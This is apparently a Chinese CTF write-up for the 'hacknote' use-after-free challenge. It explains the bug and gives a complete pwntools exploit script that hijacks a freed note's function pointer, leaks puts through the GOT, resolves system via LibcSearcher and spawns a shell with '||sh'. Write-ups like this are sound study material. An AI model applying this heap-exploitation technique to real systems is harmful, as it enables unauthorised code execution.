这是wiki上讲uaf的例题也是buu上一道题目
    image.png
    delete里面只是free掉块的内容
    image.png
    image.png
    checksec了没有pie还有可以改got表，所以其实只要改got表就行

    1. creat(0x10,'aaaa')
    2. creat(0x10,'bbbb')

    image.png
    有一个控制堆块，ida里是哪部分呢？
    image.png
    这几句的代码决定的，会存在这么一个东西

    1. free(1)
    2. free(0)
    3. #pause()
    4. payload = p32(0x0804862b)+p32(puts_got)
    5. creat(0x8,payload)
    6. pause()

    image.png
    所以现在有puts的真实地址，只要print一下就能出来
    然后就是libc过程

    1. puts_addr = u32(io.recv(4))
    2. log.success('puts:{}'.format(hex(puts_addr)))
    3. free(2)
    4. #pause()
    5. libc=LibcSearcher('puts',puts_addr)
    7. libc_base = puts_addr - libc.dump('puts')
    8. system_addr = libc_base + libc.dump('system')
    9. log.success('system:{}'.format(hex(system_addr)))
    10. binsh_addr = libc_base + libc.dump('str_bin_sh')

    最后还有一个坑
    image.png
    image.png
    这两句，导致了为什么puts就能直接把内容打印出来，而改成system后参数变成了&system+/bin/sh\x00
    所以我们最后可以改成’||sh\x00”
    ||就是那c语言中的或

    1. from pwn import*
    2. from LibcSearcher import*
    3. #context.log_level = 'debug'
    4. context.arch = 'amd64'
    5. io =process('./hacknote')
    6. #io = remote("node4.buuoj.cn",29891)
    7. elf = ELF('./hacknote')
    8. #libc = ELF('libc-2.27.so')
    9. puts_got = elf.got['puts']
    10. free_got = elf.got['free']
    11. puts_plt = elf.plt['puts']
    12. gdb.attach(io)
    13. def creat(size,value1):
    14.     io.recvuntil('Your choice :')
    15.     io.sendline('1')
    16.     io.recvuntil('Note size :')
    17.     io.sendline(str(size))
    18.     io.recvuntil('Content :')
    19.     io.sendline(value1)
    20.     io.recvuntil('Success !')
    21. def free(index):
    22.     io.recvuntil('Your choice :')
    23.     io.sendline('2')
    24.     io.recvuntil('Index :')
    25.     io.sendline(str(index))
    26.     io.recvuntil('Success')
    28. def show(id):
    29.     io.recvuntil('Your choice :')
    30.     io.sendline('3')
    31.     io.recvuntil('Index :')
    32.     io.sendline(str(id))
    34. creat(0x10,'aaaa')
    35. creat(0x10,'bbbb')
    36. #pause()
    37. free(1)
    38. free(0)
    39. #pause()
    40. payload = p32(0x0804862b)+p32(puts_got)
    41. creat(0x8,payload)
    42. pause()
    43. show(1)
    44. puts_addr = u32(io.recv(4))
    45. log.success('puts:{}'.format(hex(puts_addr)))
    46. free(2)
    47. #pause()
    48. libc=LibcSearcher('puts',puts_addr)
    50. libc_base = puts_addr - libc.dump('puts')
    51. system_addr = libc_base + libc.dump('system')
    52. log.success('system:{}'.format(hex(system_addr)))
    53. binsh_addr = libc_base + libc.dump('str_bin_sh')
    54. #libcbase = puts_addr - libc.sym['puts']
    55. #system_addr = libcbase +libc.sym['system']
    56. payload = p32(system_addr)+'||sh'
    57. creat(0x8,payload)
    58. #pause()
    59. show(1)
    61. io.interactive()